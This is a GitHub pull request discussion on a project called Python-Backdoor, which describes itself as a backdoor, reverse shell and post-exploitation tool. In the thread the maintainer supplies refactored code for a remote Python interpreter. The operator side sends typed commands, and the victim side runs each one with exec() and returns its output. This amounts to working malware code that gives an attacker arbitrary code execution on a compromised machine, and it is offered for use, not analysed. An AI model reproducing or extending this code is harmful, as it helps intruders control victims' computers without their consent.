xp4xbox / Python-Backdoor

This project is a cross-platform backdoor/reverse shell and post-exploitation tool written in Python3
GNU General Public License v3.0
714 stars 205 forks source link

add python interpreter #35

Closed tidely closed 4 years ago

tidely commented 4 years ago

added remote python interpreter

xp4xbox commented 4 years ago

Just refactored it a little if you want to paste in this code.

def python_interpreter():
    send(str.encode("python"))
    recv(intBuff)
    while True:
        strCommand = input("\n" + ">>> ")
        if strCommand.strip() == "":
            continue
        if strCommand == "exit" or strCommand == "exit()":
            break
        send(strCommand.encode())
        strReceived = recv(intBuff).decode("utf-8").rstrip("\n")
        if strReceived != "":
            print(strReceived)
    send(str.encode("exit"))
    recv(intBuff)
def python_interpreter():
    send(str.encode("received"))
    while True:
        strCommand = recv(intBuff).decode("utf-8")
        if strCommand == "exit":
            send(str.encode("exiting"))
            break
        old_stdout = sys.stdout
        redirected_output = sys.stdout = StringIO()
        try:
            exec(strCommand)
            print("")
            strError = None
        except Exception as e:
            strError = f"{e.__class__.__name__}: "
            try:
                strError += f"{e.args[0]}"
            except:
                pass
        finally:
            sys.stdout = old_stdout
        if strError:
            send(strError.encode())
        else:
            send(redirected_output.getvalue().encode())
tidely commented 4 years ago

I will, one second